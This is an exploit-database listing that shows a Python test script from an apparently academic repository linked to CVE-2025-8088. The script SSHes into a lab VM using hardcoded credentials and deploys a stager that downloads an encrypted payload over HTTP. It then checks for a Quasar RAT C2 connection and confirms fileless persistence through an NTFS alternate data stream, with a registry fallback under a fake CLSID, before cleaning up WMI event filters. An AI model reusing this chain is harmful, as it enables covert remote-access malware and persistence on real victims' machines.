Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files46
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage07/test_phantom.py

Python · 7,326 bytes
"""
Stage07 full chain test: Phase A fileless persistence.
First run: HTTP download /s.bin -> decrypt -> persist to ADS+Reg
Second run: load from ADS with HTTP offline
"""
import paramiko, os, sys, time, socket, subprocess

import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8', errors='replace')

STAGE06_DIR = r"D:\Desktop\网安程设\Amaranth_Project\Stage06"
STAGE07_DIR = r"D:\Desktop\网安程设\Amaranth_Project\Stage07"
QUASAR_DIR  = r"D:\Desktop\网安程设\Amaranth_Project\source\Quasar-master"

VM_HOST = "192.168.30.136"
VM_USER = "lewis"
VM_PASS = "lewis123"
HOST_IP = "192.168.30.1"

STAGER_EXE  = os.path.join(STAGE07_DIR, "srvinit_phantom.exe")
S_BIN       = os.path.join(STAGE06_DIR, "s.bin")
QUASAR_SRV  = os.path.join(QUASAR_DIR, "bin", "Release", "net452", "Quasar.exe")

VM_TEMP     = r"C:\Windows\Temp"
STAGER_VM   = VM_TEMP + r"\srvinit_phantom.exe"
S_BIN_VM    = VM_TEMP + r"\s.bin"
DEBUG_LOG   = VM_TEMP + r"\phantom_debug.txt"

http_p = None
quasar_p = None

def log(m):
    print("[%s] %s" % (time.strftime("%H:%M:%S"), m), flush=True)

def x(cmd, timeout=30):
    stdin, stdout, stderr = ssh.exec_command(cmd, timeout=timeout)
    ec = stdout.channel.recv_exit_status()
    return ec, stdout.read().decode(errors="replace"), stderr.read().decode(errors="replace")

def up(local, remote):
    sftp.put(local, remote)
    log("  UP " + os.path.basename(local))

def start_http():
    global http_p
    http_p = subprocess.Popen(
        ["python", "-m", "http.server", "8080"],
        cwd=STAGE06_DIR, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    time.sleep(1)

def stop_http():
    global http_p
    if http_p: http_p.kill(); http_p = None

def start_quasar():
    global quasar_p
    if os.path.exists(QUASAR_SRV):
        quasar_p = subprocess.Popen([QUASAR_SRV])
        time.sleep(2)

def stop_quasar():
    global quasar_p
    if quasar_p: quasar_p.kill(); quasar_p = None

def check_c2():
    ec, out, err = x("netstat -an 2>nul | findstr 4782")
    lines = []
    for l in (out + "\n" + err).split("\n"):
        if "ESTABLISHED" in l.upper():
            lines.append(l.strip())
    return lines

def check_debug():
    ec, out, err = x("type " + DEBUG_LOG + " 2>nul")
    if out:
        for l in out.split("\n"):
            log("  DBG: " + l.strip())
    else:
        log("  DBG: NO_LOG")
    return out

def clean():
    log("Cleaning VM...")
    x("taskkill /f /im srvinit*.exe 2>nul")
    x("taskkill /f /im Quasar.exe 2>nul")
    x("del /f /q " + VM_TEMP + "\\srvinit*.exe 2>nul")
    x("del /f /q " + VM_TEMP + "\\s.bin 2>nul")
    x("del /f /q " + VM_TEMP + "\\phantom_debug.txt 2>nul")
    x("del /f /q " + VM_TEMP + "\\mscorsvc.dll 2>nul")
    # Remove ADS
    ps = 'powershell -NoP "Remove-Item \\\"' + VM_TEMP + '\\\\mscorsvc.dll:payload.bin\\\" -Force -ErrorAction SilentlyContinue"'
    x(ps)
    # Clear Registry blobs
    ps = 'powershell -NoP "Remove-ItemProperty -Path \'HKCU:\\\\Software\\\\Classes\\\\CLSID\\\\{00000000-0000-0000-0000-000000000000}\\\\Explorer\\\\Shell Folders\' -Name Stub_* -Force -ErrorAction SilentlyContinue"'
    x(ps)
    # Clear WMI
    x('powershell -NoP "gwmi -Query \'SELECT * FROM __EventFilter\' | where { $_.Name -like \'WinEvt*\' } | foreach { $_.Delete() }" 2>$null')

def main():
    global ssh, sftp
    log("=== Stage07 Phase A: Full Chain (3 runs) ===")

    try:
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(VM_HOST, username=VM_USER, password=VM_PASS, timeout=10)
        sftp = ssh.open_sftp()
        log("SSH OK")

        clean()

        # === RUN 1: HTTP download + persist ===
        log("")
        log("=== RUN 1: HTTP download + persist ===")
        start_http()
        start_quasar()
        log("Servers: HTTP :8080 + Quasar :4782")

        up(STAGER_EXE, STAGER_VM)
        up(S_BIN, S_BIN_VM)
        log("s.bin: " + str(os.path.getsize(S_BIN)) + " bytes")

        # Execute
        x("start /b " + STAGER_VM, timeout=20)
        time.sleep(12)

        c2 = check_c2()
        if c2:
            log("RUN1 C2: YES " + str(c2))
        else:
            log("RUN1 C2: NO (waiting 8s)")
            time.sleep(8)
            c2 = check_c2()
            if c2:
                log("RUN1 C2: YES (delayed) " + str(c2))
            else:
                log("RUN1 C2: NO")

        check_debug()

        # Check ADS
        ps = 'powershell -NoP "Get-Item \\\"' + VM_TEMP + '\\\\mscorsvc.dll\\\" -Stream * | Select-Object Stream,Length"'
        ec, out, err = x(ps)
        log("ADS: " + (out[:200] or "NONE"))

        # === RUN 2: from ADS (HTTP OFF) ===
        log("")
        log("=== RUN 2: load from ADS (HTTP OFF) ===")
        x("taskkill /f /im srvinit_phantom.exe 2>nul")
        time.sleep(2)

        # Keep Quasar running, kill HTTP
        stop_http()
        time.sleep(1)

        # Verify HTTP down
        try:
            s = socket.socket()
            s.settimeout(2)
            s.connect((HOST_IP, 8080))
            s.close()
            log("WARNING: HTTP still up!")
        except:
            log("HTTP confirmed DOWN")

        # Execute again - should load from ADS
        x("start /b " + STAGER_VM, timeout=20)
        time.sleep(12)

        c2 = check_c2()
        if c2:
            log("RUN2 C2: YES " + str(c2))
            log("=== PHASE A PASS ===")
        else:
            log("RUN2 C2: NO (waiting 8s)")
            time.sleep(8)
            c2 = check_c2()
            if c2:
                log("RUN2 C2: YES (delayed) " + str(c2))
                log("=== PHASE A PASS ===")
            else:
                log("=== PHASE A FAIL ===")

        # === RUN 3: from Registry (both HTTP + payload.bin gone) ===
        log("")
        log("=== RUN 3: load from Registry (ADS+HTTP both off) ===")
        x("taskkill /f /im srvinit_phantom.exe 2>nul")
        time.sleep(2)

        # Delete ADS stream
        ps = 'powershell -NoP "Remove-Item \\\"' + VM_TEMP + '\\\\mscorsvc.dll:payload.bin\\\" -Force -ErrorAction SilentlyContinue"'
        x(ps)

        # Verify ADS gone
        ec, out, err = x(ps.replace("Remove-Item","Get-Item"))
        if "payload" not in out and "payload" not in err:
            log("ADS stream removed OK")
        else:
            log("ADS still present: " + out[:100])

        # Run again - should load from Registry fallback
        x("start /b " + STAGER_VM, timeout=20)
        time.sleep(12)

        c2 = check_c2()
        if c2:
            log("RUN3 C2: YES " + str(c2))
            log("=== PHASE A REGISTRY FALLBACK PASS ===")
        else:
            log("RUN3 C2: NO (waiting 8s)")
            time.sleep(8)
            c2 = check_c2()
            if c2:
                log("RUN3 C2: YES (delayed) " + str(c2))
                log("=== PHASE A REGISTRY FALLBACK PASS ===")
            else:
                log("RUN3 C2: NO")

        check_debug()

        if c2:
            log("")
            log("========================================")
            log("  PHASE A: ALL TESTS PASS")
            log("========================================")

    finally:
        stop_http()
        stop_quasar()
        if sftp: sftp.close()
        if ssh: ssh.close()

if __name__ == "__main__":
    main()